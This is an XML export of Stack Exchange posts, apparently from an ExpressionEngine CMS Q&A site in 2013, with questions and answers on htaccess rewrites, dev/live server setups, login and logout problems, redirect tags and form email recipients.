  <row Id="12528" PostTypeId="2" ParentId="12527" CreationDate="2013-08-06T19:04:38.977" Score="1" Body="&lt;p&gt;Doh!&#xA;I didn't realize the client had a custom status on those entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fixed it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{slider_articles status=&quot;open|Published&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been one of those weeks.....................&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-06T19:04:38.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12529" PostTypeId="2" ParentId="12511" CreationDate="2013-08-06T20:26:58.020" Score="1" Body="&lt;pre&gt;&lt;code&gt;RewriteRule ^subdirectory/index.php(.*)$ /$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should rewrite your original url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/subdirectory/index.php/segment_1/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/segment_1/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, are you able to move your .htaccess into the root of your site directory? Or does it have to stay in your subdirectory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a handy htaccess test site:&#xA;&lt;a href=&quot;http://htaccess.madewithlove.be/&quot; rel=&quot;nofollow&quot;&gt;http://htaccess.madewithlove.be/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-08-06T20:26:58.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12530" PostTypeId="1" AcceptedAnswerId="12535" CreationDate="2013-08-06T21:00:30.167" Score="2" ViewCount="147" Body="&lt;p&gt;Due to tight security restrictions we can't host the admin.php file on our live server. As a result I need to be able to run EE from two locations: One from a dev server (where we include the admin.php file for access to the EE panel) and another from our live server, where we will &lt;em&gt;not&lt;/em&gt; include the admin.php file. We only need to serve content there, not manipulate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the live and dev servers have access to the same DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something like this before? Is it possible? If so, what are the details for making this work?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-06T22:56:00.347" Title="Running EE from two locations: A Dev and Live environment" Tags="|admin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12531" PostTypeId="1" AcceptedAnswerId="12539" CreationDate="2013-08-06T21:27:56.020" Score="0" ViewCount="53" Body="&lt;p&gt;I have a scenario where I would like to share the live file upload folders for a site with the dev environment. Both environments are on the same server so I've created a symbolic link in the dev environment pointing at each of the corresponding folders in the live environment. This works perfectly well over SFTP, I can click into one of these folders in dev and I see the contents of the folder on live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm unable to access files in these folders via HTTP requests. Is there something I'm missing? It seems like an obvious approach to the problem but maybe it's not that simple?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pretty old site so we're stuck with 1.x (1.7.1 at present) else I would use the lovely new file upload location config vars to resolve the situation. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2013-08-06T23:08:32.823" LastActivityDate="2013-08-07T02:48:57.400" Title="Sharing live file upload folders with dev" Tags="|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12533" PostTypeId="1" AcceptedAnswerId="12580" CreationDate="2013-08-06T22:06:49.593" Score="2" ViewCount="239" Body="&lt;p&gt;This is my first time using ExpressionEngine to allow users to log into the front end interface and see different content. The login aspect is working fine... but I can't seem to be able to log out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some details:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6&lt;/li&gt;&#xA;&lt;li&gt;CE Cache (using database caching, with the salient parts escaped, and turned off in the config file anyway as I'm not yet in production, so this should not be causing a conflict)&lt;/li&gt;&#xA;&lt;li&gt;Objective HTML's Authenticate plugin&lt;/li&gt;&#xA;&lt;li&gt;Security setting &quot;User Session Type&quot; set to &quot;Cookies only&quot;. When setting it to &quot;Session only&quot; I cannot seem to log in at all!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried using both &lt;code&gt;{exp:authenticate:logout}&lt;/code&gt; and &lt;code&gt;{path='logout'}&lt;/code&gt; (both rendering ?ACT=8, which I've confirmed in the database calls &lt;code&gt;Member&lt;/code&gt; class method &lt;code&gt;member_logout&lt;/code&gt;) but using either link does not seem to actually log the user out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling the Authenticate extension and running the same ACT?ID=8, and though I get EE's &quot;You are now logged out.&quot; screen, when I return I am stilled logged in and can still see logged in material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearing local cache has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only action that seems to get the user out is to go into my cookies and delete the &lt;code&gt;exp_sessionid&lt;/code&gt; cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions/pointers/leads to follow are welcome.&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-08T14:36:04.083" Title="Front-end user cannot logout" Tags="|ee2|members|logout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12534" PostTypeId="2" ParentId="12530" CreationDate="2013-08-06T22:30:38.353" Score="1" Body="&lt;p&gt;I cannot say I've done this before, but what I would attempt to do is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a duplicate install of your live ExpressionEngine code on a separate location of your dev server, separate from your dev environment.&lt;/li&gt;&#xA;&lt;li&gt;Ensure the config point your database to the live server. Then use this install uniquely for the Control Panel.&lt;/li&gt;&#xA;&lt;li&gt;You'll want to make sure there is nothing preventing a database connection from your dev environment. You may need to change your database host from '127.0.0.1' to specify the live host.&lt;/li&gt;&#xA;&lt;li&gt;If you have issues with links, set a rewrite rule on your live site to redirect anything pointing to admin.php or /system to the dev server; assuming your dev server has protection from the outside world it should not pose a problem. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll also want to make sure you keep both versions of the code in sync going forward, especially any updates to EE or add-ons.&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-06T22:30:38.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12535" PostTypeId="2" ParentId="12530" CreationDate="2013-08-06T22:50:52.717" Score="4" Body="&lt;p&gt;Yes it will work, just use the same database config (you'll need to use the full name of the database server rather than 'localhost').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have the dev site installed and working just copy the files over to your live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then need to update a number of paths in various parts of the system. For this I would suggest using Focus Labs Config to set up different config files for each environment in which the site will run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to look at using a Git repo to keep files in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for the record, simply removing admin.php won't stop access to the site's CP. Just hit the system directory and it will load up. I'm curious as to why your host is saying you can't have the admin.php file.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-08-06T22:56:00.347" LastActivityDate="2013-08-06T22:56:00.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12536" PostTypeId="2" ParentId="12533" CreationDate="2013-08-06T23:20:29.173" Score="1" Body="&lt;p&gt;Try changing the user session type under Admin-&gt;Security and Privacy-&gt;Security and Sessions. I'm not sure which would be the best option so give all three a try!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-06T23:20:29.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12537" PostTypeId="1" AcceptedAnswerId="15299" CreationDate="2013-08-06T23:44:26.097" Score="2" ViewCount="190" Body="&lt;p&gt;we're using EE 2.6.1 and Store 1.6.4, and are utilizing the Paypal Pro payment method. We got things working mostly, however there are some issues with the data as we see it within Paypal, so I'm thinking the data isn't getting passed to Paypal correctly or completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first issue I noticed was after I submitted an order, in PayPal when I viewed the details of the order, it would have something like &quot;Order #242&quot; as the &quot;Item Title&quot;. This wasn't very useful for me. It would be ideal if this could list all of the individual items and their quantities, but I'm not sure how to get it to do that. I did modify the payment gateway to list the individual items and quantities in this &quot;Item title&quot; section... so that kinda works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remaining issue is with the Packing Slip in Paypal. When I view the packing slip for the order in paypal, for &quot;Address&quot; it says &quot;No Address Provided&quot;... not showing the buyers address. That is crucial! Also, it doesn't list each individual item, but instead lists Qty: 1, Website: (our website url), Item Number: n/a, Description: (Buyer Name), Amount: (total amount). Then it lists $0.00 for shipping and handling and $0.00 for Sales Tax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone else having this issue? Am I doing something wrong, or is this Paypal Pro payment gateway just really not fully fleshed out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-12-12T19:03:08.527" Title="Packing Slip data not sent with Paypal Payments Pro Gateway in Expresso Store" Tags="|expresso-store|ee2|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12538" PostTypeId="2" ParentId="12458" CreationDate="2013-08-06T23:48:18.533" Score="0" Body="&lt;p&gt;The devotee information is wrong in this case - I just tested mxcloner with a complex entry with a big matrix inside of it and it cloned it perfectly.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-08-06T23:48:18.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12539" PostTypeId="2" ParentId="12531" CreationDate="2013-08-07T02:48:57.400" Score="1" Body="&lt;p&gt;This is more a question about servers, than about EECMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Apache, add this to the .htaccess file of your dev website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options FollowSymlinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about this at the &lt;a href=&quot;https://httpd.apache.org/docs/2.2/mod/core.html#Options&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; of Apache.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-07T02:48:57.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12540" PostTypeId="1" AcceptedAnswerId="12566" CreationDate="2013-08-07T07:45:59.347" Score="1" ViewCount="193" Body="&lt;p&gt;I'm lost, this should be easy but for some reason it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the default EE login tags it's fine, replace with Freemember Tags and BAM the whole shebang fails to work, no errors, no nothing :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could've sworn it worked originally, I styled the error tags and everything. 64 Char encryption key…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freemember 2.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure 3.2.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login return=&quot;members-area&quot;&#xA;          form_class=&quot;login&quot;&#xA;          error_handling=&quot;inline&quot;&#xA;          error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;            {field:username}&#xA;            {error:username}&#xA;        &amp;lt;/div&amp;gt;&#xA;         &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;            {field:password}&#xA;            {error:password}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     {/exp:freemember:login}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page is controlled by Structure which shouldnt matter as it works for the native EE login tag :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-08-08T00:01:51.347" LastActivityDate="2013-08-08T00:01:51.347" Title="Freemember Login No Errors or login - Solved" Tags="|structure|login|freemember|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12541" PostTypeId="1" CreationDate="2013-08-07T08:51:28.800" Score="1" ViewCount="111" Body="&lt;p&gt;On my search results page I am testing to see if there is only one result and if so redirecting the user to that result page using the redirect tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even though the path I am redirecting to is absolute it seems to be handled as relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example - the path I am redirecting to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myurl.com/path/to/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the redirect is complete the address bar shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://myurl.com/http://myurl.com/path/to/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does still show the right page content, but clearly isn't the right URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code i am using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;{url_title_path='store/product'}&quot;}. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When placed into a template alone {url_title_path='store/product'} writes out myurl.com/path/to/page and indeed this very same tag works perfectly when applied to an anchor (a) tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise on how to resolve this much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-08-09T10:55:56.840" LastActivityDate="2013-08-09T10:55:56.840" Title="Redirect - Even though redirect code is absolute its handled as relative" Tags="|redirects|tags|redirection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12542" PostTypeId="1" AcceptedAnswerId="12569" CreationDate="2013-08-07T09:48:08.957" Score="4" ViewCount="208" Body="&lt;p&gt;I'm looking for a flexible way to define very specific blocks of content which can be used multiple times within a page. Some examples of these blocks would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An image with text to the left&lt;/li&gt;&#xA;&lt;li&gt;An image with text to the right&lt;/li&gt;&#xA;&lt;li&gt;A formatted quote&lt;/li&gt;&#xA;&lt;li&gt;A full width image&lt;/li&gt;&#xA;&lt;li&gt;Two columns of text&lt;/li&gt;&#xA;&lt;li&gt;Two columns of text with an image at the top of each column&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each one of these blocks of content would represent a row of content on a page. I'm after the ability to be able to add any number of these blocks to a page in any order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nearest add-on I can find is &lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; by Krea, but it is limited to single fieldtypes, whereas some of mine would combine more than one fieldtype. Looking at the docs, you can extend it, but I'm unsure as to whether what I'm trying to do is achievable. I have contacted the Developer for some guidance, but as yet I haven't heard anything back and time's a ticking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the meantime, I wondered if anyone else has either extended this Addon, or alternatively solved this type of problem in a different way? &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-11-06T18:00:55.647" Title="Multiple groups of FieldTypes / Blocks of content" Tags="|fieldtype|content|content-elements|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12543" PostTypeId="1" CreationDate="2013-08-07T10:39:52.593" Score="1" ViewCount="197" Body="&lt;p&gt;I'm trying to have a &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform Pro&lt;/a&gt; on my site that not only emails the site owner when it's submitted but an external email contact as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The external email is a field from a channel called company. I was hoping something like this could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;companies&quot; limit=&quot;1&quot; site=&quot;default_site&quot;}    &#xA;{exp:freeform:form form_name=&quot;el_list_form&quot; required=&quot;name|email|phone|company&quot; return=&quot;/search&quot; recipient1=&quot;{company_email}&quot;}&#xA;...&#xA;{/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment it emails the &lt;code&gt;admin_notify&lt;/code&gt; in the freeform settings just fine but will not email the &lt;code&gt;company_email&lt;/code&gt; contact. I tried just sticking in my own email manually and it doesn't seem to like that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to see if it was my mail in general that was the issue by sending out a site communication message but that sent just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1595" LastEditorUserId="27" LastEditDate="2013-08-16T12:48:27.193" LastActivityDate="2013-08-16T12:48:27.193" Title="Freeform Pro - Email Recipient from Channel" Tags="|multi-site-manager|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12544" PostTypeId="2" ParentId="12454" CreationDate="2013-08-07T11:11:53.510" Score="1" Body="&lt;p&gt;If there's only ever one item being purchased in a single checkout, maybe try &lt;code&gt;{hook:items}{if '{entry_id}' != '213'}FALSE{/if}{/hook:items}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For debugging, it's useful to get to a point where an email is definitely being sent (ie, remove all the extra conditionals), then print out the variable names in the body of the email so you can see what they should be called. Also handy if you don't mind getting your hands dirty is throwing a quick &lt;code&gt;var_dump&lt;/code&gt; into the postmaster/hooks/cartthrob_on_authorize.php file to see what variable names are available.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-08-07T11:11:53.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12545" PostTypeId="2" ParentId="12543" CreationDate="2013-08-07T11:45:59.197" Score="1" Body="&lt;p&gt;This looks like a parsing order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the Template Engine will start to parse by innermost module variable. So, in your case, &lt;code&gt;exp:freeform:form&lt;/code&gt; is parsed before &lt;code&gt;exp:channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make the &lt;code&gt;exp:channel:entries&lt;/code&gt; be parsed first to make the &lt;code&gt;{company_email}&lt;/code&gt; available to &lt;code&gt;exp:freeform:form&lt;/code&gt;. For this, set the value of its &lt;code&gt;parse&lt;/code&gt; parameter to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;inward&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;companies&quot; limit=&quot;1&quot; site=&quot;default_site&quot; parse=&quot;inward&quot;}&#xA;  {exp:freeform:form form_name=&quot;el_list_form&quot; required=&quot;name|email|phone|company&quot; return=&quot;/search&quot; recipient1=&quot;{company_email}&quot;}&#xA;    [...]&#xA;  {/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's just this.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-07T11:45:59.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12546" PostTypeId="2" ParentId="12541" CreationDate="2013-08-07T11:56:38.510" Score="1" Body="&lt;p&gt;Well, you shouldn't add the domain on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#redirect&quot; rel=&quot;nofollow&quot;&gt;redirect global variable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect='template_group/template_or_segment_2'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, your option is to try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect='store/product/{url_title}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to confess that I never tried to use three segments on redirect global variable.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-07T12:41:06.473" LastActivityDate="2013-08-07T12:41:06.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12547" PostTypeId="2" ParentId="12543" CreationDate="2013-08-07T12:22:52.623" Score="1" Body="&lt;p&gt;If you aren't using different notification templates for each recipient then you can use a pipe delimited list of email addresses for the admin_notify parameter (or specify them in the form tag parameters)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still encounter a parse order problem you might want to try adding a freeform field for the second address and including a hidden field in the form into which you put the second email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could try using the name of that hidden field in your form tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;second_email&quot; value=&quot;{company_email}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your form tag pair use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;el_list_form&quot; required=&quot;name|email|phone|company&quot; return=&quot;/search&quot; recipient1=&quot;{second_email}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not tried it but it might work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-07T12:22:52.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12548" PostTypeId="1" CreationDate="2013-08-07T13:00:12.123" Score="1" ViewCount="207" Body="&lt;p&gt;I have Template Debugging and Output Profiler turned on for my site, but i'm not seeing any debug information about my add-ons being used on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On any other site it would show what's happening with things like CE Image, CE Tweet etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone else has had this problem before? i've checked the logs but i think it's something on the server or something with EE in general that is simply preventing certain tags being processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be greatful for any assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-08-07T13:00:12.123" Title="Template debugger not outputting information about add-ons" Tags="|templates|debugging|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12549" PostTypeId="2" ParentId="12540" CreationDate="2013-08-07T13:05:22.287" Score="2" Body="&lt;p&gt;If you remove this parameter - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_handling=&quot;inline&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should see what default errors are causing the login to fail in the default EE error page - should help you fix the error. &lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-08-07T13:05:22.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12550" PostTypeId="2" ParentId="12541" CreationDate="2013-08-07T13:17:22.393" Score="1" Body="&lt;p&gt;Consider using the RedirectURL plug-in from Rodrigo Passos. It allows you to specify an entire absolute URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to provide a URL in something like this: &lt;code&gt;{exp:redirecturl url=“http://myurl.com/{channel_short_name}/{url_title}”}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you're using page URIs: &lt;code&gt;{exp:redirecturl url=“http://myurl.com{page_uri}”}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/redirecturl-ee2-plugin&quot; rel=&quot;nofollow&quot;&gt;Find more information about RedirectURL on Devot-ee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this though, you may want to wrap your conditional in a &lt;code&gt;{exp:ifelse}&lt;/code&gt; tag &lt;a href=&quot;https://github.com/croxton/Ifelse&quot; rel=&quot;nofollow&quot;&gt;using Croxton's IfElse plug-in&lt;/a&gt;. That way you can &lt;a href=&quot;http://johndwells.com/blog/expressionengine-parse-order-advanced-conditionals-as-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;be sure your condition isn't parsed after the plugin has already run&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-07T13:17:22.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12551" PostTypeId="2" ParentId="11718" CreationDate="2013-08-07T13:17:49.013" Score="3" Body="&lt;p&gt;Looks like you forgot about the protocol on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/general_configuration.html#url-to-the-root-directory-of-your-site&quot; rel=&quot;nofollow&quot;&gt;URL to the root of your site&lt;/a&gt;. Probably, you wrote &lt;code&gt;domain.com&lt;/code&gt; instead of &lt;code&gt;http://domain.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The duplicated part is added by the browser that is treating the URL as relative because of the absence of protocol.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-11-05T11:54:22.123" LastActivityDate="2014-11-05T11:54:22.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12554" PostTypeId="2" ParentId="12441" CreationDate="2013-08-07T15:20:53.027" Score="1" Body="&lt;p&gt;Thanks to @RobSanchez asking about the form's action attribute (which was always the url of the current page) I decided to cheat and give the ajaxForm a url that wasn't the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, it doesn't really explain anything but now it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2013-08-07T15:20:53.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12555" PostTypeId="1" AcceptedAnswerId="12560" CreationDate="2013-08-07T16:14:08.807" Score="2" ViewCount="101" Body="&lt;p&gt;I have an entries page where I want to show related entries from other channels using Solspace Tag's {exp:tag:related_entries} tag pair. Since they are from different channels I need to have the correct path to lead to the correct template. At the moment I have split this in to two related_entries tags, but I was wondering if there was a way of combining them in to one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:tag:related_entries url_title=&quot;{segment_3}&quot; channel=&quot;channel_A&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;{title}{/exp:tag:related_entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:tag:related_entries url_title=&quot;{segment_3}&quot; channel=&quot;channel_B&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;{title}{/exp:tag:related_entries}&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="884" LastEditDate="2013-08-09T15:42:51.140" LastActivityDate="2013-08-16T16:28:24.783" Title="Specifying url paths for Tag related entries" Tags="|solspace-tag|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12556" PostTypeId="2" ParentId="12512" CreationDate="2013-08-07T16:17:06.140" Score="0" Body="&lt;p&gt;You could use the duplicate checking functionality and show alternate content if they've already filled the form out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_duplicate&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_duplicate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-07T16:17:06.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
